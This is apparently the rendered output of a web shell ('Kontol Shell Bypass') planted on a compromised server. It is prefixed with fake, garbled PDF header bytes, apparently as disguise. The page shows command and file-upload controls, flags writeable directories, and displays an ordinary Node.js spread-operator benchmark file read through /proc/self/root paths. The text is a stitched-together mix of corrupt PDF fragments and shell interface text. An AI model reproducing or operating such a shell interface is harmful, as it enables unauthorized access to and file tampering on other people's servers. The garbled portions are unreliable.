%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/proc/self/root/home/ubuntu/node-v16.18.1/benchmark/es/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/proc/self/root/home/ubuntu/node-v16.18.1/benchmark/es/spread-bench.js
'use strict';

const common = require('../common.js');
const assert = require('assert');

const bench = common.createBenchmark(main, {
  method: ['apply', 'spread', 'call-spread'],
  count: [5, 10, 20],
  context: ['context', 'null'],
  rest: [0, 1],
  n: [5e6]
});

function makeTest(count, rest) {
  if (rest) {
    return function test(...args) {
      assert.strictEqual(count, args.length);
    };
  }
  return function test() {
    assert.strictEqual(count, arguments.length);
  };
}

function main({ n, context, count, rest, method }) {
  const ctx = context === 'context' ? {} : null;
  let fn = makeTest(count, rest);
  const args = new Array(count);

  for (let i = 0; i < count; i++)
    args[i] = i;

  switch (method) {
    case 'apply':
      bench.start();
      for (let i = 0; i < n; i++)
        fn.apply(ctx, args);
      bench.end(n);
      break;
    case 'spread':
      if (ctx !== null)
        fn = fn.bind(ctx);
      bench.start();
      for (let i = 0; i < n; i++)
        fn(...args);
      bench.end(n);
      break;
    case 'call-spread':
      bench.start();
      for (let i = 0; i < n; i++)
        fn.call(ctx, ...args);
      bench.end(n);
      break;
    default:
      throw new Error(`Unexpected method "${method}"`);
  }
}

Kontol Shell Bypass